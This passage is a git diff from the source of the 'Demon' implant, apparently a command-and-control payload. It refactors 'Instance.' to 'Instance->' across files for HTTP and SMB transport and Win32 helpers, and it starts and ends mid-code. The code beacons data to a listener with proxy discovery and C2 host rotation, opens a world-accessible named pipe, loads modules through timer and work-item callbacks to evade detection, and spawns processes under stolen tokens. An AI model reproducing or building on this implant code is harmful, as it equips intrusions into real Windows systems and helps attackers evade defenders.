WinHttpGetIEProxyConfigForCurrentUser as fall-back - if ( Instance.Win32.WinHttpGetIEProxyConfigForCurrentUser( &ProxyConfig ) ) { + if ( Instance->Win32.WinHttpGetIEProxyConfigForCurrentUser( &ProxyConfig ) ) { if ( ProxyConfig.lpszProxy != NULL && StringLengthW( ProxyConfig.lpszProxy ) != 0 ) { // IE is set to "use a proxy server" ProxyInfo.dwAccessType = WINHTTP_ACCESS_TYPE_NAMED_PROXY; @@ -203,9 +203,9 @@ BOOL HttpSend( PRINTF_DONT_SEND( "Using IE proxy %ls\n", ProxyInfo.lpszProxy ); - Instance.SizeOfProxyForUrl = sizeof( WINHTTP_PROXY_INFO ); - Instance.ProxyForUrl = Instance.Win32.LocalAlloc( LPTR, Instance.SizeOfProxyForUrl ); - MemCopy( Instance.ProxyForUrl, &ProxyInfo, Instance.SizeOfProxyForUrl ); + Instance->SizeOfProxyForUrl = sizeof( WINHTTP_PROXY_INFO ); + Instance->ProxyForUrl = Instance->Win32.LocalAlloc( LPTR, Instance->SizeOfProxyForUrl ); + MemCopy( Instance->ProxyForUrl, &ProxyInfo, Instance->SizeOfProxyForUrl ); // don't cleanup these values ProxyConfig.lpszProxy = NULL; @@ -218,14 +218,14 @@ BOOL HttpSend( PRINTF_DONT_SEND( "Trying to discover the proxy config via the config url %ls\n", AutoProxyOptions.lpszAutoConfigUrl ); - if ( Instance.Win32.WinHttpGetProxyForUrl( Instance.hHttpSession, HttpEndpoint, &AutoProxyOptions, &ProxyInfo ) ) { + if ( Instance->Win32.WinHttpGetProxyForUrl( Instance->hHttpSession, HttpEndpoint, &AutoProxyOptions, &ProxyInfo ) ) { if ( ProxyInfo.lpszProxy ) { PRINTF_DONT_SEND( "Using proxy %ls\n", ProxyInfo.lpszProxy ); } - Instance.SizeOfProxyForUrl = sizeof( WINHTTP_PROXY_INFO ); - Instance.ProxyForUrl = Instance.Win32.LocalAlloc( LPTR, Instance.SizeOfProxyForUrl ); - MemCopy( Instance.ProxyForUrl, &ProxyInfo, Instance.SizeOfProxyForUrl ); + Instance->SizeOfProxyForUrl = sizeof( WINHTTP_PROXY_INFO ); + Instance->ProxyForUrl = Instance->Win32.LocalAlloc( LPTR, Instance->SizeOfProxyForUrl ); + MemCopy( Instance->ProxyForUrl, &ProxyInfo, Instance->SizeOfProxyForUrl ); } } else { // IE is set to "automatically detect settings" @@ -234,18 +234,18 @@ BOOL HttpSend( } } - Instance.LookedForProxy = TRUE; + Instance->LookedForProxy = TRUE; } - if ( Instance.ProxyForUrl ) { - if ( ! Instance.Win32.WinHttpSetOption( Request, WINHTTP_OPTION_PROXY, Instance.ProxyForUrl, Instance.SizeOfProxyForUrl ) ) { + if ( Instance->ProxyForUrl ) { + if ( ! Instance->Win32.WinHttpSetOption( Request, WINHTTP_OPTION_PROXY, Instance->ProxyForUrl, Instance->SizeOfProxyForUrl ) ) { PRINTF_DONT_SEND( "WinHttpSetOption: Failed => %d\n", NtGetLastError() ); } } /* Send package to our listener */ - if ( Instance.Win32.WinHttpSendRequest( Request, NULL, 0, Send->Buffer, Send->Length, Send->Length, 0 ) ) { - if ( Instance.Win32.WinHttpReceiveResponse( Request, NULL ) ) { + if ( Instance->Win32.WinHttpSendRequest( Request, NULL, 0, Send->Buffer, Send->Length, Send->Length, 0 ) ) { + if ( Instance->Win32.WinHttpReceiveResponse( Request, NULL ) ) { /* Is the server recognizing us ? are we good ? */ if ( HttpQueryStatus( Request ) != HTTP_STATUS_OK ) { PUTS_DONT_SEND( "HttpQueryStatus Failed: Is not HTTP_STATUS_OK (200)" ) @@ -260,15 +260,15 @@ BOOL HttpSend( // read the entire response into the Resp BUFFER // do { - Successful = Instance.Win32.WinHttpReadData( Request, Buffer, sizeof( Buffer ), &BufRead ); + Successful = Instance->Win32.WinHttpReadData( Request, Buffer, sizeof( Buffer ), &BufRead ); if ( ! Successful || BufRead == 0 ) { break; } if ( ! RespBuffer ) { - RespBuffer = Instance.Win32.LocalAlloc( LPTR, BufRead ); + RespBuffer = Instance->Win32.LocalAlloc( LPTR, BufRead ); } else { - RespBuffer = Instance.Win32.LocalReAlloc( RespBuffer, RespSize + BufRead, LMEM_MOVEABLE | LMEM_ZEROINIT ); + RespBuffer = Instance->Win32.LocalReAlloc( RespBuffer, RespSize + BufRead, LMEM_MOVEABLE | LMEM_ZEROINIT ); } RespSize += BufRead; @@ -285,7 +285,7 @@ BOOL HttpSend( } } else { if ( NtGetLastError() == ERROR_INTERNET_CANNOT_CONNECT ) { - Instance.Session.Connected = FALSE; + Instance->Session.Connected = FALSE; } PRINTF_DONT_SEND( "HTTP Error: %d\n", NtGetLastError() ) @@ -293,23 +293,23 @@ BOOL HttpSend( LEAVE: if ( Connect ) { - Instance.Win32.WinHttpCloseHandle( Connect ); + Instance->Win32.WinHttpCloseHandle( Connect ); } if ( Request ) { - Instance.Win32.WinHttpCloseHandle( Request ); + Instance->Win32.WinHttpCloseHandle( Request ); } if ( ProxyConfig.lpszProxy ) { - Instance.Win32.GlobalFree( ProxyConfig.lpszProxy ); + Instance->Win32.GlobalFree( ProxyConfig.lpszProxy ); } if ( ProxyConfig.lpszProxyBypass ) { - Instance.Win32.GlobalFree( ProxyConfig.lpszProxyBypass ); + Instance->Win32.GlobalFree( ProxyConfig.lpszProxyBypass ); } if ( ProxyConfig.lpszAutoConfigUrl ) { - Instance.Win32.GlobalFree( ProxyConfig.lpszAutoConfigUrl ); + Instance->Win32.GlobalFree( ProxyConfig.lpszAutoConfigUrl ); } /* re-impersonate the token */ @@ -317,7 +317,7 @@ LEAVE: if ( ! Successful ) { /* if we hit our max then we use our next host */ - Instance.Config.Transport.Host = HostFailure( Instance.Config.Transport.Host ); + Instance->Config.Transport.Host = HostFailure( Instance->Config.Transport.Host ); } return Successful; @@ -339,7 +339,7 @@ DWORD HttpQueryStatus( DWORD StatusCode = 0; DWORD StatusSize = sizeof( DWORD ); - if ( Instance.Win32.WinHttpQueryHeaders( + if ( Instance->Win32.WinHttpQueryHeaders( Request, WINHTTP_QUERY_STATUS_CODE | WINHTTP_QUERY_FLAG_NUMBER, WINHTTP_HEADER_NAME_BY_INDEX, @@ -364,13 +364,13 @@ PHOST_DATA HostAdd( HostData->Host = MmHeapAlloc( Size + sizeof( WCHAR ) ); HostData->Port = Port; HostData->Dead = FALSE; - HostData->Next = Instance.Config.Transport.Hosts; + HostData->Next = Instance->Config.Transport.Hosts; /* Copy host to our buffer */ MemCopy( HostData->Host, Host, Size ); /* Add to hosts linked list */ - Instance.Config.Transport.Hosts = HostData; + Instance->Config.Transport.Hosts = HostData; return HostData; } @@ -380,14 +380,14 @@ PHOST_DATA HostFailure( PHOST_DATA Host ) if ( ! Host ) return NULL; - if ( Host->Failures == Instance.Config.Transport.HostMaxRetries ) + if ( Host->Failures == Instance->Config.Transport.HostMaxRetries ) { /* we reached our max failed retries with our current host data * use next one */ Host->Dead = TRUE; /* Get our next host based on our rotation strategy. */ - return HostRotation( Instance.Config.Transport.HostRotation ); + return HostRotation( Instance->Config.Transport.HostRotation ); } /* Increase our failed counter */ @@ -405,7 +405,7 @@ PHOST_DATA HostRandom() DWORD Index = RandomNumber32() % HostCount(); DWORD Count = 0; - Host = Instance.Config.Transport.Hosts; + Host = Instance->Config.Transport.Hosts; for ( ;; ) { @@ -438,13 +438,13 @@ PHOST_DATA HostRotation( SHORT Strategy ) { PHOST_DATA Host = NULL; - if ( Instance.Config.Transport.NumHosts > 1 ) + if ( Instance->Config.Transport.NumHosts > 1 ) { /* * Different CDNs can have different WPAD rules. * After rotating, look for the proxy again */ - Instance.LookedForProxy = FALSE; + Instance->LookedForProxy = FALSE; } if ( Strategy == TRANSPORT_HTTP_ROTATION_ROUND_ROBIN ) @@ -452,11 +452,11 @@ PHOST_DATA HostRotation( SHORT Strategy ) DWORD Count = 0; /* get linked list */ - Host = Instance.Config.Transport.Hosts; + Host = Instance->Config.Transport.Hosts; /* If our current host is empty * then return the top host from our linked list. */ - if ( ! Instance.Config.Transport.Host ) + if ( ! Instance->Config.Transport.Host ) return Host; for ( Count = 0; Count < HostCount(); ) @@ -484,12 +484,12 @@ PHOST_DATA HostRotation( SHORT Strategy ) /* if we specified infinite retries then reset every "Failed" retries in our linked list and do this forever... * as the operator wants. */ - if ( ( Instance.Config.Transport.HostMaxRetries == 0 ) && ! Host ) + if ( ( Instance->Config.Transport.HostMaxRetries == 0 ) && ! Host ) { PUTS_DONT_SEND( "Specified to keep going. To infinity... and beyond" ) /* get linked list */ - Host = Instance.Config.Transport.Hosts; + Host = Instance->Config.Transport.Hosts; /* iterate over linked list */ for ( ;; ) @@ -505,7 +505,7 @@ PHOST_DATA HostRotation( SHORT Strategy ) } /* tell the caller to start at the beginning */ - Host = Instance.Config.Transport.Hosts; + Host = Instance->Config.Transport.Hosts; } return Host; @@ -517,7 +517,7 @@ DWORD HostCount() PHOST_DATA Head = NULL; DWORD Count = 0; - Head = Instance.Config.Transport.Hosts; + Head = Instance->Config.Transport.Hosts; Host = Head; do { @@ -545,7 +545,7 @@ BOOL HostCheckup() DWORD Count = 0; BOOL Alive = TRUE; - Head = Instance.Config.Transport.Hosts; + Head = Instance->Config.Transport.Hosts; Host = Head; do { diff --git a/payloads/Demon/src/core/TransportSmb.c b/payloads/Demon/src/core/TransportSmb.c index 549ffde..4be9f8b 100644 --- a/payloads/Demon/src/core/TransportSmb.c +++ b/payloads/Demon/src/core/TransportSmb.c @@ -7,7 +7,7 @@ BOOL SmbSend( PBUFFER Send ) { - if ( ! Instance.Config.Transport.Handle ) + if ( ! Instance->Config.Transport.Handle ) { SMB_PIPE_SEC_ATTR SmbSecAttr = { 0 }; SECURITY_ATTRIBUTES SecurityAttr = { 0 }; @@ -15,7 +15,7 @@ BOOL SmbSend( PBUFFER Send ) /* Setup attributes to allow "anyone" to connect to our pipe */ SmbSecurityAttrOpen( &SmbSecAttr, &SecurityAttr ); - Instance.Config.Transport.Handle = Instance.Win32.CreateNamedPipeW( Instance.Config.Transport.Name, // Named Pipe + Instance->Config.Transport.Handle = Instance->Win32.CreateNamedPipeW( Instance->Config.Transport.Name, // Named Pipe PIPE_ACCESS_DUPLEX, // read/write access PIPE_TYPE_MESSAGE | // message type pipe PIPE_READMODE_MESSAGE | // message-read mode @@ -28,33 +28,33 @@ BOOL SmbSend( PBUFFER Send ) SmbSecurityAttrFree( &SmbSecAttr ); - if ( ! Instance.Config.Transport.Handle ) + if ( ! Instance->Config.Transport.Handle ) return FALSE; - if ( ! Instance.Win32.ConnectNamedPipe( Instance.Config.Transport.Handle, NULL ) ) + if ( ! Instance->Win32.ConnectNamedPipe( Instance->Config.Transport.Handle, NULL ) ) { - SysNtClose( Instance.Config.Transport.Handle ); + SysNtClose( Instance->Config.Transport.Handle ); return FALSE; } /* Send the message/package we want to send to the new client... */ - return PipeWrite( Instance.Config.Transport.Handle, Send ); + return PipeWrite( Instance->Config.Transport.Handle, Send ); } - if ( ! PipeWrite( Instance.Config.Transport.Handle, Send ) ) + if ( ! PipeWrite( Instance->Config.Transport.Handle, Send ) ) { PRINTF( "WriteFile Failed:[%d]\n", NtGetLastError() ); /* Means that the client disconnected/the pipe is closing. */ if ( NtGetLastError() == ERROR_NO_DATA ) { - if ( Instance.Config.Transport.Handle ) + if ( Instance->Config.Transport.Handle ) { - SysNtClose( Instance.Config.Transport.Handle ); - Instance.Config.Transport.Handle = NULL; + SysNtClose( Instance->Config.Transport.Handle ); + Instance->Config.Transport.Handle = NULL; } - Instance.Session.Connected = FALSE; + Instance->Session.Connected = FALSE; return FALSE; } } @@ -68,51 +68,51 @@ BOOL SmbRecv( PBUFFER Resp ) DWORD DemonId = 0; DWORD PackageSize = 0; - if ( Instance.Win32.PeekNamedPipe( Instance.Config.Transport.Handle, NULL, 0, NULL, &BytesSize, NULL ) ) + if ( Instance->Win32.PeekNamedPipe( Instance->Config.Transport.Handle, NULL, 0, NULL, &BytesSize, NULL ) ) { if ( BytesSize > sizeof( UINT32 ) + sizeof( UINT32 ) ) { - if ( ! Instance.Win32.ReadFile( Instance.Config.Transport.Handle, &DemonId, sizeof( UINT32 ), &BytesSize, NULL ) && NtGetLastError() != ERROR_MORE_DATA ) + if ( ! Instance->Win32.ReadFile( Instance->Config.Transport.Handle, &DemonId, sizeof( UINT32 ), &BytesSize, NULL ) && NtGetLastError() != ERROR_MORE_DATA ) { PRINTF( "Failed to read the DemonId from pipe, error: %d\n", NtGetLastError() ) Resp->Buffer = NULL; Resp->Length = 0; - Instance.Session.Connected = FALSE; + Instance->Session.Connected = FALSE; return FALSE; } - if ( Instance.Session.AgentID != DemonId ) + if ( Instance->Session.AgentID != DemonId ) { PRINTF( "The message doesn't have the correct DemonId: %x\n", DemonId ) Resp->Buffer = NULL; Resp->Length = 0; - Instance.Session.Connected = FALSE; + Instance->Session.Connected = FALSE; return FALSE; } - if ( ! Instance.Win32.ReadFile( Instance.Config.Transport.Handle, &PackageSize, sizeof( UINT32 ), &BytesSize, NULL ) && NtGetLastError() != ERROR_MORE_DATA ) + if ( ! Instance->Win32.ReadFile( Instance->Config.Transport.Handle, &PackageSize, sizeof( UINT32 ), &BytesSize, NULL ) && NtGetLastError() != ERROR_MORE_DATA ) { PRINTF( "Failed to read the PackageSize from pipe, error: %d\n", NtGetLastError() ) Resp->Buffer = NULL; Resp->Length = 0; - Instance.Session.Connected = FALSE; + Instance->Session.Connected = FALSE; return FALSE; } - Resp->Buffer = Instance.Win32.LocalAlloc( LPTR, PackageSize ); + Resp->Buffer = Instance->Win32.LocalAlloc( LPTR, PackageSize ); Resp->Length = PackageSize; - if ( ! PipeRead( Instance.Config.Transport.Handle, Resp ) ) + if ( ! PipeRead( Instance->Config.Transport.Handle, Resp ) ) { PRINTF( "PipeRead failed with to read 0x%x bytes from pipe\n", Resp->Length ) if ( Resp->Buffer ) { - Instance.Win32.LocalFree( Resp->Buffer ); + Instance->Win32.LocalFree( Resp->Buffer ); Resp->Buffer = NULL; } Resp->Length = 0; - Instance.Session.Connected = FALSE; + Instance->Session.Connected = FALSE; return FALSE; } //PRINTF("successfully read 0x%x bytes from pipe\n", PackageSize) @@ -130,7 +130,7 @@ BOOL SmbRecv( PBUFFER Resp ) { /* We disconnected */ PRINTF( "PeekNamedPipe failed with %d\n", NtGetLastError() ) - Instance.Session.Connected = FALSE; + Instance->Session.Connected = FALSE; return FALSE; } @@ -150,7 +150,7 @@ VOID SmbSecurityAttrOpen( PSMB_PIPE_SEC_ATTR SmbSecAttr, PSECURITY_ATTRIBUTES Se MemSet( SmbSecAttr, 0, sizeof( SMB_PIPE_SEC_ATTR ) ); MemSet( SecurityAttr, 0, sizeof( PSECURITY_ATTRIBUTES ) ); - if ( ! Instance.Win32.AllocateAndInitializeSid( &SidIdAuth, 1, SECURITY_WORLD_RID, 0, 0, 0, 0, 0, 0, 0, &SmbSecAttr->Sid ) ) + if ( ! Instance->Win32.AllocateAndInitializeSid( &SidIdAuth, 1, SECURITY_WORLD_RID, 0, 0, 0, 0, 0, 0, 0, &SmbSecAttr->Sid ) ) { PRINTF( "AllocateAndInitializeSid failed: %u\n", NtGetLastError() ); return; @@ -164,43 +164,43 @@ VOID SmbSecurityAttrOpen( PSMB_PIPE_SEC_ATTR SmbSecAttr, PSECURITY_ATTRIBUTES Se ExplicitAccess.Trustee.TrusteeType = TRUSTEE_IS_WELL_KNOWN_GROUP; ExplicitAccess.Trustee.ptstrName = SmbSecAttr->Sid; - Result = Instance.Win32.SetEntriesInAclW( 1, &ExplicitAccess, NULL, &DAcl ); + Result = Instance->Win32.SetEntriesInAclW( 1, &ExplicitAccess, NULL, &DAcl ); if ( Result != ERROR_SUCCESS ) { PRINTF( "SetEntriesInAclW failed: %u\n", Result ); } PRINTF( "DACL: %p\n", DAcl ); - if ( ! Instance.Win32.AllocateAndInitializeSid( &SidLabel, 1, SECURITY_MANDATORY_LOW_RID, 0, 0, 0, 0, 0, 0, 0, &SmbSecAttr->SidLow ) ) + if ( ! Instance->Win32.AllocateAndInitializeSid( &SidLabel, 1, SECURITY_MANDATORY_LOW_RID, 0, 0, 0, 0, 0, 0, 0, &SmbSecAttr->SidLow ) ) { PRINTF( "AllocateAndInitializeSid failed: %u\n", NtGetLastError() ); } PRINTF( "sidLow: %p\n", SmbSecAttr->SidLow ); SmbSecAttr->SAcl = MmHeapAlloc( MAX_PATH ); - if ( ! Instance.Win32.InitializeAcl( SmbSecAttr->SAcl, MAX_PATH, ACL_REVISION_DS ) ) + if ( ! Instance->Win32.InitializeAcl( SmbSecAttr->SAcl, MAX_PATH, ACL_REVISION_DS ) ) { PRINTF( "InitializeAcl failed: %u\n", NtGetLastError() ); } - if ( ! Instance.Win32.AddMandatoryAce( SmbSecAttr->SAcl, ACL_REVISION_DS, NO_PROPAGATE_INHERIT_ACE, 0, SmbSecAttr->SidLow ) ) + if ( ! Instance->Win32.AddMandatoryAce( SmbSecAttr->SAcl, ACL_REVISION_DS, NO_PROPAGATE_INHERIT_ACE, 0, SmbSecAttr->SidLow ) ) { PRINTF( "AddMandatoryAce failed: %u\n", NtGetLastError() ); } // now build the descriptor SmbSecAttr->SecDec = MmHeapAlloc( SECURITY_DESCRIPTOR_MIN_LENGTH ); - if ( ! Instance.Win32.InitializeSecurityDescriptor( SmbSecAttr->SecDec, SECURITY_DESCRIPTOR_REVISION ) ) + if ( ! Instance->Win32.InitializeSecurityDescriptor( SmbSecAttr->SecDec, SECURITY_DESCRIPTOR_REVISION ) ) { PRINTF( "InitializeSecurityDescriptor failed: %u\n", NtGetLastError() ); } - if ( ! Instance.Win32.SetSecurityDescriptorDacl( SmbSecAttr->SecDec, TRUE, DAcl, FALSE ) ) + if ( ! Instance->Win32.SetSecurityDescriptorDacl( SmbSecAttr->SecDec, TRUE, DAcl, FALSE ) ) { PRINTF( "SetSecurityDescriptorDacl failed: %u\n", NtGetLastError() ); } - if ( ! Instance.Win32.SetSecurityDescriptorSacl( SmbSecAttr->SecDec, TRUE, SmbSecAttr->SAcl, FALSE ) ) + if ( ! Instance->Win32.SetSecurityDescriptorSacl( SmbSecAttr->SecDec, TRUE, SmbSecAttr->SAcl, FALSE ) ) { PRINTF( "SetSecurityDescriptorSacl failed: %u\n", NtGetLastError() ); } @@ -214,13 +214,13 @@ VOID SmbSecurityAttrFree( PSMB_PIPE_SEC_ATTR SmbSecAttr ) { if ( SmbSecAttr->Sid ) { - Instance.Win32.FreeSid( SmbSecAttr->Sid ); + Instance->Win32.FreeSid( SmbSecAttr->Sid ); SmbSecAttr->Sid = NULL; } if ( SmbSecAttr->SidLow ) { - Instance.Win32.FreeSid( SmbSecAttr->SidLow ); + Instance->Win32.FreeSid( SmbSecAttr->SidLow ); SmbSecAttr->SidLow = NULL; } diff --git a/payloads/Demon/src/core/Win32.c b/payloads/Demon/src/core/Win32.c index 8cf531f..3cca6b1 100644 --- a/payloads/Demon/src/core/Win32.c +++ b/payloads/Demon/src/core/Win32.c @@ -71,11 +71,11 @@ PVOID LdrModulePeb( PPEB Peb = NULL; /* Get pointer to list */ - if ( ! Instance.Teb ) { - Instance.Teb = NtCurrentTeb(); + if ( ! Instance->Teb ) { + Instance->Teb = NtCurrentTeb(); } - Peb = Instance.Teb->ProcessEnvironmentBlock; + Peb = Instance->Teb->ProcessEnvironmentBlock; Hdr = & Peb->Ldr->InLoadOrderModuleList; Ent = Hdr->Flink; @@ -107,13 +107,13 @@ PVOID LdrModulePebByString( ULONG Idx = 0; /* Get pointer to list */ - if ( ! Instance.Teb ) { - Instance.Teb = NtCurrentTeb(); + if ( ! Instance->Teb ) { + Instance->Teb = NtCurrentTeb(); } Name = MmHeapAlloc( MAX_PATH ); - Peb = Instance.Teb->ProcessEnvironmentBlock; + Peb = Instance->Teb->ProcessEnvironmentBlock; Hdr = & Peb->Ldr->InLoadOrderModuleList; Ent = Hdr->Flink; @@ -176,8 +176,8 @@ PVOID LdrModuleSearch( Dll[ 2 ] = HideChar( 'L' ); Dll[ 0 ] = HideChar( '.' ); - Entry = Instance.Teb->ProcessEnvironmentBlock->Ldr->InLoadOrderModuleList.Flink; - FirstEntry = &Instance.Teb->ProcessEnvironmentBlock->Ldr->InLoadOrderModuleList.Flink; + Entry = Instance->Teb->ProcessEnvironmentBlock->Ldr->InLoadOrderModuleList.Flink; + FirstEntry = &Instance->Teb->ProcessEnvironmentBlock->Ldr->InLoadOrderModuleList.Flink; StringCopyW( Name, ModuleName ); @@ -244,10 +244,10 @@ PVOID LdrModuleLoad( } /* if proxy module loading is enabled */ - if ( Instance.Config.Implant.ProxyLoading ) + if ( Instance->Config.Implant.ProxyLoading ) { /* load library using RtlRegisterWait + LoadLibraryW */ - if ( ( Instance.Config.Implant.ProxyLoading == PROXYLOAD_RTLREGISTERWAIT ) && Instance.Win32.RtlRegisterWait ) + if ( ( Instance->Config.Implant.ProxyLoading == PROXYLOAD_RTLREGISTERWAIT ) && Instance->Win32.RtlRegisterWait ) { PUTS( "Loading module using RtlRegisterWait" ) @@ -257,36 +257,36 @@ PVOID LdrModuleLoad( } /* call LoadLibraryW */ - if ( ! NT_SUCCESS( NtStatus = Instance.Win32.RtlRegisterWait( &Timer, Event, C_PTR( Instance.Win32.LoadLibraryW ), NameW, 0, WT_EXECUTEONLYONCE | WT_EXECUTEINWAITTHREAD ) ) ) { + if ( ! NT_SUCCESS( NtStatus = Instance->Win32.RtlRegisterWait( &Timer, Event, C_PTR( Instance->Win32.LoadLibraryW ), NameW, 0, WT_EXECUTEONLYONCE | WT_EXECUTEINWAITTHREAD ) ) ) { PRINTF( "RtlRegisterWait: %p\n", NtStatus ) goto DEFAULT; } } /* load library using RtlCreateTimer + LoadLibraryW */ - else if ( ( Instance.Config.Implant.ProxyLoading == PROXYLOAD_RTLCREATETIMER ) && Instance.Win32.RtlCreateTimer ) + else if ( ( Instance->Config.Implant.ProxyLoading == PROXYLOAD_RTLCREATETIMER ) && Instance->Win32.RtlCreateTimer ) { PUTS( "Loading module using RtlCreateTimer" ) /* create timer queue */ - if ( ! NT_SUCCESS( NtStatus = Instance.Win32.RtlCreateTimerQueue( &Queue ) ) ) { + if ( ! NT_SUCCESS( NtStatus = Instance->Win32.RtlCreateTimerQueue( &Queue ) ) ) { PRINTF( "RtlCreateTimerQueue Failed => %p\n", NtStatus ) goto DEFAULT; } /* call LoadLibraryW */ - if ( ! NT_SUCCESS( NtStatus = Instance.Win32.RtlCreateTimer( Queue, &Timer, C_PTR( Instance.Win32.LoadLibraryW ), NameW, 0, 0, WT_EXECUTEINTIMERTHREAD ) ) ) { + if ( ! NT_SUCCESS( NtStatus = Instance->Win32.RtlCreateTimer( Queue, &Timer, C_PTR( Instance->Win32.LoadLibraryW ), NameW, 0, 0, WT_EXECUTEINTIMERTHREAD ) ) ) { PRINTF( "RtlCreateTimer: %p\n", NtStatus ) goto DEFAULT; } } /* load library using RtlQueueWorkItem + LoadLibraryW */ - else if ( ( Instance.Config.Implant.ProxyLoading == PROXYLOAD_RTLQUEUEWORKITEM ) && Instance.Win32.RtlQueueWorkItem ) + else if ( ( Instance->Config.Implant.ProxyLoading == PROXYLOAD_RTLQUEUEWORKITEM ) && Instance->Win32.RtlQueueWorkItem ) { PUTS( "Loading module using RtlQueueWorkItem" ) /* call LoadLibraryW and load specified module */ - if ( ! NT_SUCCESS( NtStatus = Instance.Win32.RtlQueueWorkItem( C_PTR( Instance.Win32.LoadLibraryW ), NameW, WT_EXECUTEDEFAULT ) ) ) { + if ( ! NT_SUCCESS( NtStatus = Instance->Win32.RtlQueueWorkItem( C_PTR( Instance->Win32.LoadLibraryW ), NameW, WT_EXECUTEDEFAULT ) ) ) { PRINTF( "RtlQueueWorkItem Failed: %p\n", NtStatus ) /* if we failed to load the module via RtlQueueWorkItem + LoadLibraryW then @@ -330,7 +330,7 @@ PVOID LdrModuleLoad( { DEFAULT: /* load library using LdrLoadDll */ - if ( Instance.Win32.LdrLoadDll ) + if ( Instance->Win32.LdrLoadDll ) { PUTS( "Loading module using LdrLoadDll" ) @@ -339,7 +339,7 @@ PVOID LdrModuleLoad( UnicodeString.Length = DestSize; UnicodeString.MaximumLength = DestSize + sizeof( WCHAR ); - if ( ! NT_SUCCESS( NtStatus = Instance.Win32.LdrLoadDll( NULL, 0, &UnicodeString, &Module ) ) ) { + if ( ! NT_SUCCESS( NtStatus = Instance->Win32.LdrLoadDll( NULL, 0, &UnicodeString, &Module ) ) ) { PRINTF( "LdrLoadDll Failed: %p\n", NtStatus ) NtSetLastError( NtStatus ); } @@ -361,7 +361,7 @@ END: /* close queue */ if ( Queue ) { - Instance.Win32.RtlDeleteTimerQueue( Queue ); + Instance->Win32.RtlDeleteTimerQueue( Queue ); Queue = NULL; } @@ -414,8 +414,8 @@ PVOID LdrFunctionAddr( AnsiString.MaximumLength = AnsiString.Length + sizeof( CHAR ); AnsiString.Buffer = FunctionName; - if ( Instance.Win32.LdrGetProcedureAddress ) { - if ( ! NT_SUCCESS( Instance.Win32.LdrGetProcedureAddress( Module, &AnsiString, 0, &FunctionAddr ) ) ) { + if ( Instance->Win32.LdrGetProcedureAddress ) { + if ( ! NT_SUCCESS( Instance->Win32.LdrGetProcedureAddress( Module, &AnsiString, 0, &FunctionAddr ) ) ) { return NULL; } } else { @@ -440,7 +440,7 @@ PVOID LdrFunctionAddr( UINT32 GetSyscallSize( VOID ) { - PVOID Module = Instance.Modules.Ntdll; + PVOID Module = Instance->Modules.Ntdll; PIMAGE_NT_HEADERS NtHeader = { 0 }; PIMAGE_EXPORT_DIRECTORY ExpDirectory = { 0 }; SIZE_T ExpDirectorySize = { 0 }; @@ -458,8 +458,8 @@ UINT32 GetSyscallSize( if ( ! Module ) return 0; - if ( Instance.Syscall.Size ) - return Instance.Syscall.Size; + if ( Instance->Syscall.Size ) + return Instance->Syscall.Size; NtHeader = C_PTR( Module + ( ( PIMAGE_DOS_HEADER ) Module )->e_lfanew ); ExpDirectory = C_PTR( Module + NtHeader->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ].VirtualAddress ); @@ -501,9 +501,9 @@ UINT32 GetSyscallSize( } // by now, we should have the size of a syscall stub - Instance.Syscall.Size = SyscallSize; + Instance->Syscall.Size = SyscallSize; - return Instance.Syscall.Size; + return Instance->Syscall.Size; } /*! @@ -529,7 +529,7 @@ HANDLE ProcessOpen( /* open process handle */ if ( ! NT_SUCCESS( NtStatus = SysNtOpenProcess( &Process, Access, &ObjAttr, &Client ) ) ) { PRINTF( "NtOpenProcess Failed => %lx\n", NtStatus ) - NtSetLastError( Instance.Win32.RtlNtStatusToDosError( NtStatus ) ); + NtSetLastError( Instance->Win32.RtlNtStatusToDosError( NtStatus ) ); return NULL; } @@ -551,7 +551,7 @@ BOOL ProcessIsWow( return FALSE; } - if ( Instance.Session.OS_Arch == PROCESSOR_ARCHITECTURE_INTEL ) { + if ( Instance->Session.OS_Arch == PROCESSOR_ARCHITECTURE_INTEL ) { return FALSE; } @@ -604,7 +604,7 @@ BOOL ProcessCreate( if ( Piped ) { PUTS( "Piped enabled" ) - AnonPipe = Instance.Win32.LocalAlloc( LPTR, sizeof( ANONPIPE ) ); + AnonPipe = Instance->Win32.LocalAlloc( LPTR, sizeof( ANONPIPE ) ); MemSet( AnonPipe, 0, sizeof( ANONPIPE ) ); AnonPipesInit( AnonPipe ); @@ -621,10 +621,10 @@ BOOL ProcessCreate( } #if _M_IX86 - if ( ! x86 && Instance.Win32.Wow64DisableWow64FsRedirection ) + if ( ! x86 && Instance->Win32.Wow64DisableWow64FsRedirection ) { PUTS( "Enable Wow64 process support" ) - if ( ! Instance.Win32.Wow64DisableWow64FsRedirection( &Wow64Value ) ) + if ( ! Instance->Win32.Wow64DisableWow64FsRedirection( &Wow64Value ) ) { PRINTF( "Failed to disable wow64 redirection: %d : %x\n", NtGetLastError(), Wow64Value ) PackageTransmitError( CALLBACK_ERROR_WIN32, NtGetLastError() ); @@ -636,14 +636,14 @@ BOOL ProcessCreate( } #endif - if ( Instance.Tokens.Impersonate ) + if ( Instance->Tokens.Impersonate ) { PUTS( "Impersonate" ) LPWSTR lpCurrentDirectory = NULL; WCHAR Path[ MAX_PATH * 2 ] = { 0 }; - if ( Instance.Win32.GetCurrentDirectoryW( MAX_PATH * 2, Path ) ) { + if ( Instance->Win32.GetCurrentDirectoryW( MAX_PATH * 2, Path ) ) { lpCurrentDirectory = Path; } @@ -654,12 +654,12 @@ BOOL ProcessCreate( PRINTF( "CmdLine : %ls\n", CmdLine ) PRINTF( "lpCurrentDirectory: %ls\n", lpCurrentDirectory ) - if ( Instance.Tokens.Token->Type == TOKEN_TYPE_STOLEN ) + if ( Instance->Tokens.Token->Type == TOKEN_TYPE_STOLEN ) { // Duplicate to make primary token (try delegation first) - if ( ! SysDuplicateTokenEx( Instance.Tokens.Token->Handle, TOKEN_ALL_ACCESS, NULL, SecurityDelegation, TokenPrimary, &PrimaryToken ) ) + if ( ! SysDuplicateTokenEx( Instance->Tokens.Token->Handle, TOKEN_ALL_ACCESS, NULL, SecurityDelegation, TokenPrimary, &PrimaryToken ) ) { - if ( ! SysDuplicateTokenEx( Instance.Tokens.Token->Handle, TOKEN_ALL_ACCESS, NULL, SecurityImpersonation, TokenPrimary, &PrimaryToken ) ) + if ( ! SysDuplicateTokenEx( Instance->Tokens.Token->Handle, TOKEN_ALL_ACCESS, NULL, SecurityImpersonation, TokenPrimary, &PrimaryToken ) ) { PRINTF( "Failed to duplicate token [%d]\n", NtGetLastError() ); PackageTransmitError( CALLBACK_ERROR_WIN32, NtGetLastError() ); @@ -669,7 +669,7 @@ BOOL ProcessCreate( } PUTS( "CreateProcessWithTokenW" ) - if ( ! 